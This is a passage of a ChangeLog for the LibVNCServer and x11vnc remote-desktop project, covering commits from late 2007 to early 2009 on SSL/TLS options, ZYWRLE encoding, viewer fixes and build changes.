Fix reverse SSL connection for DH. Some 3399 improvements for CUPS TS helper, restart if needed. 3400 3401 2009-01-04 runge <runge> 3402 3403 * configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include 3404 file file for libXrandr on Solaris. prepare_x11vnc_dist.sh: set 3405 version to 0.9.7 3406 3407 2008-12-10 runge <runge> 3408 3409 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3410 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 3411 x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 3412 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3413 x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, 3414 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release. Some 3415 strtok bugfixes. rename -tlsvnc to -anontls. Disable ssl caching. 3416 No cert creation prompting in inetd or bg modes. waitpid a bit more 3417 carefully on ssl helpers. Tune ssl initial timeouts. Let -create 3418 user specify starting X display. fix -rfbport prompt gui for older 3419 tk. -sslonly option. Error if no -ssl with related options. -rand 3420 option. -ssl implies -ssl SAVE 3421 3422 2008-11-22 runge <runge> 3423 3424 * classes/ssl/ss_vncviewer: Update ss_vncviewer... 3425 3426 2008-11-22 runge <runge> 3427 3428 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3429 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3430 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3431 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3432 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3433 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3434 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3435 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa 3436 tch, 3437 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3438 ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC 3439 sync: stunnel upgrade and patch, change wish order, -anondh -ciphers 3440 option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer). 3441 Help text tweaks -killstunnel, s_client fixes, No Encryption easier. 3442 Zeroconf/avahi support. tk font fixes. SSVNC_ULTRA_FTP_JAR finding 3443 SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION, 3444 SSVNC_SET_SECURITY_TYPE, etc hacks. 3445 3446 2008-11-22 runge <runge> 3447 3448 * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, 3449 x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, 3450 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 3451 x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 3452 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 3453 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 3454 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, 3455 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, 3456 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 3457 x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c, 3458 x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file. 3459 -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT 3460 VeNCrypt and TLSVNC SSL/TLS encryption support. Tweaks to 3461 choose_delay() algorithm. -ssl ANON anonymouse Diffie-Hellman mode. 3462 Fix bugs in certs management. Additions to tray=setpass naive user 3463 mode. 3464 3465 2008-11-05 runge <runge> 3466 3467 * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, 3468 x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c, 3469 x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c, 3470 x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c, 3471 x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1, 3472 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 3473 x11vnc/xevents.c: x11vnc: add zeroconf external helpers 3474 (avahi-publish and dns-sd). Alias -zeroconf. Close pipeinput_fh on 3475 exit. Kludge to make -solid work on MacOSX console. Attempt at cpp 3476 macros to disable newer libvncserver interfaces. 3477 3478 2008-11-05 runge <runge> 3479 3480 * configure.ac: Tweak messages. Add shmat for --without-x building. 3481 3482 2008-10-30 runge <runge> 3483 3484 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3485 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3486 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3487 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3488 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3489 ll.patch: synchronize ssvnc 3490 3491 2008-10-29 runge <runge> 3492 3493 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 3494 x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c, 3495 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3496 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: 3497 -http_oneport for single port HTTP and VNC. Improve find_display wrt 3498 lsof blocking with -b. 3499 3500 2008-10-19 runge <runge> 3501 3502 * 3503 x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc 3504 viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3505 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3506 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3507 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3508 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3509 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3510 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3511 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3512 ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling, 3513 -chatonly, iso-8859-1/utf8 etc., etc. 3514 3515 2008-10-19 runge <runge> 3516 3517 * classes/ssl/ss_vncviewer, 3518 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC 3519 viewer jars and patch file. 3520 3521 2008-10-19 runge <runge> 3522 3523 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3524 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, 3525 x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3526 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, 3527 x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, 3528 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, 3529 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, 3530 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3531 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3532 x11vnc/xinerama.c, x11vnc/xrandr.c, x11vnc/xrandr.h, 3533 x11vnc/xrecord.c, x11vnc/xwrappers.c, x11vnc/xwrappers.h: x11vnc: 3534 -chatwindow, -scale WxH, -enc changes. 3535 3536 2008-09-21 runge <runge> 3537 3538 * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/Makefile.am, 3539 x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, 3540 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3541 x11vnc/screen.c, x11vnc/sslhelper.c, x11vnc/tkx11vnc, 3542 x11vnc/tkx11vnc.h, x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3543 x11vnc/x11vnc_defs.c: x11vnc: Add symmetric key encryption -enc 3544 cipher:keyfile, works with SSVNC. Make -remap work on MacOSX 3545 console. update to 0.9.5 strings. Add a couple menu items to 3546 tkx11vnc. 3547 3548 2008-09-17 runge <runge> 3549 3550 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3551 x11vnc/help.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, 3552 x11vnc/x11vnc_defs.c: x11vnc: make -allow work in -ssl mode. 3553 3554 2008-09-14 runge <runge> 3555 3556 * classes/ssl/ss_vncviewer, 3557 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, 3558 x11vnc/ChangeLog, x11vnc/README, x11vnc/gui.c, x11vnc/help.c, 3559 x11vnc/misc/enhanced_tightvnc_viewer/README, 3560 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3561 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3562 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3563 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3564 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, 3565 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3566 ll.patch, x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 3567 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, 3568 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 3569 -sleepin m-n for random sleep. More mktemp and mkstemp protections. 3570 SSL_INIT_TIMEOUT=n env. var. Fix macosx console X call bug. 3571 Synchronize other projects sources. 3572 3573 2008-09-07 runge <runge> 3574 3575 * classes/ssl/ss_vncviewer, 3576 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/8to24.c, 3577 x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3578 x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, x11vnc/keyboard.c, 3579 x11vnc/macosxCG.c, x11vnc/macosxCG.h, 3580 x11vnc/misc/enhanced_tightvnc_viewer/README, 3581 x11vnc/misc/enhanced_tightvnc_viewer/Windows/sshvnc.bat, 3582 x11vnc/misc/enhanced_tightvnc_viewer/Windows/tsvnc.bat, 3583 x11vnc/misc/enhanced_tightvnc_viewer/bin/sshvnc, 3584 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3585 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3586 x11vnc/misc/enhanced_tightvnc_viewer/bin/tsvnc, 3587 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3588 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3589 x11vnc/misc/enhanced_tightvnc_viewer/build.unix, 3590 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, 3591 x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, 3592 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_getpatches, 3593 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3594 ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 3595 x11vnc/remote.c, x11vnc/solid.c, x11vnc/ssltools.h, 3596 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3597 x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3598 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 3599 x11vnc/xevents.h, x11vnc/xinerama.c, x11vnc/xinerama.h: x11vnc: kill 3600 gui_pid on exit in -connect/-connect_or_exit mode. -grablocal n 3601 experiment (not compiled by default). -macuskbd option for macosx 3602 for orig uskdb code. keycode=N remote contol cmd. Find dpy look at 3603 non-NFS cookies in /tmp. Fix gui tray insertion on recent gnome dt. 3604 Fix connect_file bug. Sync SSVNC 3605 3606 2008-06-24 runge <runge> 3607 3608 * libvncserver/rfbserver.c: We seem to need to guard against freeing 3609 iterator 'i' twice in rfbSendFramebufferUpdate() (italc reported 3610 bug) 3611 3612 2008-06-07 runge <runge> 3613 3614 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/unixpw.c, 3615 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 3616 x11vnc/xinerama.c: x11vnc: -clip xineramaN option, -DIGNORE_GETSPNAM 3617 for HP-UX. Print info on SSH_CONNECTION override. 3618 3619 2008-06-03 dscho <dscho> 3620 3621 * ChangeLog, client_examples/SDLvncviewer.c: SDLvncviewer: update 3622 screen correctly after a resize Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3623 3624 2008-06-03 runge <runge> 3625 3626 * configure.ac: Enable --with-ssl=DIR option. 3627 3628 2008-06-01 runge <runge> 3629 3630 * x11vnc/README, x11vnc/options.c, x11vnc/options.h, 3631 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 3632 lower waitms and defer if framebuffer reads are fast (> 100MB/s) 3633 3634 2008-06-01 runge <runge> 3635 3636 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 3637 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 3638 x11vnc/misc/Xdummy, x11vnc/options.c, x11vnc/options.h, 3639 x11vnc/scan.c, x11vnc/screen.c, x11vnc/userinput.c, 3640 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 3641 x11vnc/xinerama.c: x11vnc: support colormaps for depths other than 3642 8. xinerama warppointer only if more than one subscreen. 3643 3644 2008-05-31 dscho <dscho> 3645 3646 * .gitignore: .gitignore: ignore also temporary editor files Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3647 3648 2008-05-31 dscho <dscho> 3649 3650 * VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3651 3652 2008-05-31 dscho <dscho> 3653 3654 * VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG(). Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3655 3656 2008-05-31 dscho <dscho> 3657 3658 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3659 3660 2008-05-31 dscho <dscho> 3661 3662 * libvncserver-config.in: Fix libvncserver-config for in-place 3663 operation Since quite some time, the linkable libraries are stored in the 3664 .libs/ subdirectories. Adjust libvncserver-config to account for 3665 that when running without installing. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3666 3667 2008-05-23 runge <runge> 3668 3669 * libvncserver/rfbserver.c: Handle colormaps with more than 256 3670 colors. 3671 3672 2008-05-13 dscho <dscho> 3673 3674 * examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a 3675 sensible cursor anyway, so better disable the cursor (which would 3676 have to be drawn for clients that do not support 3677 CursorShapeUpdates). Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3678 3679 2008-05-13 dscho <dscho> 3680 3681 * client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now 3682 supports viewonly connections. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3683 3684 2008-05-12 runge <runge> 3685 3686 * x11vnc/README, x11vnc/help.c, x11vnc/selection.c, 3687 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3688 x11vnc/x11vnc_defs.c: x11vnc: SSL fixes. Increase cert lifetimes to 3689 2 years. Print ssl err msg. 3690 3691 2008-05-12 runge <runge> 3692 3693 * configure.ac: Add X509_print_ex_fp check for x11vnc. 3694 3695 2008-05-12 runge <runge> 3696 3697 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3698 x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 3699 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3700 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3701 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3702 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3703 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3704 ll.patch: Many improvement to the frontend and unix viewer. 3705 UltraVNC proxy support, and other proxy improvements. 3706 3707 2008-05-08 runge <runge> 3708 3709 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3710 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c, 3711 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc, 3712 x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3713 x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support. 3714 fix to setp gui mode. -threads is now strongly discouraged. Read 3715 PORT= in url. User can set nolisten for Xvfb in -create mode. 3716 clean up wait_for_client() to some degree. 3717 3718 2008-05-08 runge <runge> 3719 3720 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 3721 classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for 3722 "https" to viewers. update jars. 3723 3724 2008-04-28 dscho <dscho> 3725 3726 * rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and 3727 sometimes it is outright undesirable to compile with JPEG support, 3728 e.g. when the server is not very fast. So fix the compilation for 3729 that case. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3730 3731 2008-03-21 dscho <dscho> 3732 3733 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3734 3735 2008-02-18 dscho <dscho> 3736 3737 * ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit 3738 (Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3739 3740 2008-02-18 runge <runge> 3741 3742 * classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars. 3743 3744 2008-02-18 runge <runge> 3745 3746 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for 3747 release 3748 3749 2008-02-18 runge <runge> 3750 3751 * x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3752 x11vnc/x11vnc_defs.c: minor date changes. 3753 3754 2008-02-18 runge <runge> 3755 3756 * x11vnc/misc/enhanced_tightvnc_viewer/README, 3757 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, 3758 x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3759 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3760 ll.patch: ssvnc sync with zywrle support and improvements to popup. 3761 3762 2008-02-04 dscho <dscho> 3763 3764 * ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE 3765 patch for libvncclient (thanks Noriaki Yamazaki) Highlite: * use qualityLevel/zlib_buffer. No new variable is needed. * Change coding style to recursive fashion. * Change meaning of qualityLevel== 9 for easy calc zywrle_level: old:zywrle_level== 1 new:disable ZYWRLE(same as ZRLE) so, we should not use this value for compatible reason. * Color mode handling isn't complete. I provided and checked 16 bit colors(RGB555,RGB565) and some color mode of 32 bit colors for little endian mode. we must make and check 24 bit colors and big endian mode. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3766 3767 2008-02-04 dscho <dscho> 3768 3769 * ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding 3770 for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3771 3772 2008-02-03 runge <runge> 3773 3774 * libvncserver/stats.c: Add ZYWRLE to server printout. 3775 3776 2008-02-02 dscho <dscho> 3777 3778 * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3779 button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit 3780 "translate keys based on unicode (much more reliable than sym)". I 3781 do not remember why, nor what I smoked, but this was wrong. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3782 3783 2008-02-02 dscho <dscho> 3784 3785 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3786 Ctrl+<letter> Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3787 3788 2008-02-02 dscho <dscho> 3789 3790 * TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix 3791 translation of the Tab key Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3792 3793 2008-02-02 dscho <dscho> 3794 3795 * TODO: Updated TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3796 3797 2008-02-01 runge <runge> 3798 3799 * libvncserver/Makefile.am: Need to include zywrletemplate.c in 3800 Makefile.am 3801 3802 2008-02-01 runge <runge> 3803 3804 * classes/ssl/ss_vncviewer: sync java viewer. 3805 3806 2008-02-01 runge <runge> 3807 3808 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 3809 x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README, 3810 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3811 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3812 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3813 ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, 3814 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds 3815 estimate, guard against client disconnecting. 3816 3817 2008-01-31 dscho <dscho> 3818 3819 * libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported 3820 encodings dynamic. It never triggered, until ZYWRLE was added. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3821 3822 2008-01-31 dscho <dscho> 3823 3824 * Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when 3825 configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a 3826 configure switch --with-x11vnc, without which x11vnc is not built. However, even _with_ this switch, it is not built, because the 3827 Makefile would not recurse into the x11vnc/ subdirectory. Fix that. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3828 3829 2008-01-31 dscho <dscho> 3830 3831 * libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian 3832 (because they are 16-bit values), we need to cast "unsigned char" to 3833 "unsigned short"; otherwise, Microsoft's compiler would keep 3834 complaining. Noticed by Christian Ehrlicher. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3835 3836 2008-01-31 dscho <dscho> 3837 3838 * libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of 3839 the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too, 3840 so if libjpeg is not present, but libz is, we still need to have 3841 that struct member. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3842 3843 2008-01-30 dscho <dscho> 3844 3845 * libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: 3846 Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you 3847 have more than one client in a threaded server. Instead, we have 3848 the data in the client structure now. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3849 3850 2008-01-30 dscho <dscho> 3851 3852 * libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown 3853 paper bag fix While adjusting the coding style, three stupid mistakes happened. 3854 The quality is _not_ just 1, 2, 3, but really 1, 3, 2. And the 3855 macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more 3856 than one statement, which means that we need curly brackets around 3857 them when they are in an if clause. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3858 3859 2008-01-29 dscho <dscho> 3860 3861 * TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3862 3863 2008-01-29 dscho <dscho> 3864 3865 * .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and 3866 this file does not hurt. Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3867 3868 2008-01-29 dscho <dscho> 3869 3870 * ChangeLog, libvncserver/rfbserver.c: Add missing #include <time.h> 3871 (thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3872 3873 2008-01-29 dscho <dscho> 3874 3875 * AUTHORS, ChangeLog, libvncserver/rfbserver.c, 3876 libvncserver/scale.c, libvncserver/zrle.c, 3877 libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c, 3878 rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki 3879 Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3880 3881 2008-01-29 dscho <dscho> 3882 3883 * AUTHORS, CMakeLists.txt, ChangeLog, configure.ac, 3884 rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks 3885 to Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de> 3886 3887 2008-01-15 runge <runge> 3888 3889 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 3890 x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3891 x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in 3892 copy_tiles after xrandr resize. 3893 3894 2007-12-16 runge <runge> 3895 3896 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c, 3897 x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc, 3898 x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 3899 x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on 3900 macosx. improve tkx11vnc wrt attaching to existing server in 3901 icon/tray mode. 3902 3903 2007-12-16 runge <runge> 3904 3905 * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, 3906 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3907 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3908 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu 3909 ll.patch: Fixes for MacOSX 10.5. Improve usage of x11 viewer on 3910 macosx. 3911 3912 2007-12-16 runge <runge> 3913 3914 * x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c, 3915 x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h, 3916 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix 3917 find_display and usleep() prototype on macosx. -display console and 3918 check DISPLAY /tmp/...:0 on macosx. implement -noxinerama. 3919 3920 2007-11-13 runge <runge> 3921 3922 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 3923 x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c, 3924 x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3925 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add 3926 clear_locks (Caps_Lock, etc) action. 3927 3928 2007-10-27 runge <runge> 3929 3930 * x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl, 3931 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, 3932 x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, 3933 x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc 3934 sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5 3935 proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin 3936 3937 2007-10-27 runge <runge> 3938 3939 * classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync. 3940 3941 2007-10-27 runge <runge> 3942 3943 * prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog, 3944 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 3945 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c, 3946 x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h, 3947 x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c, 3948 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, 3949 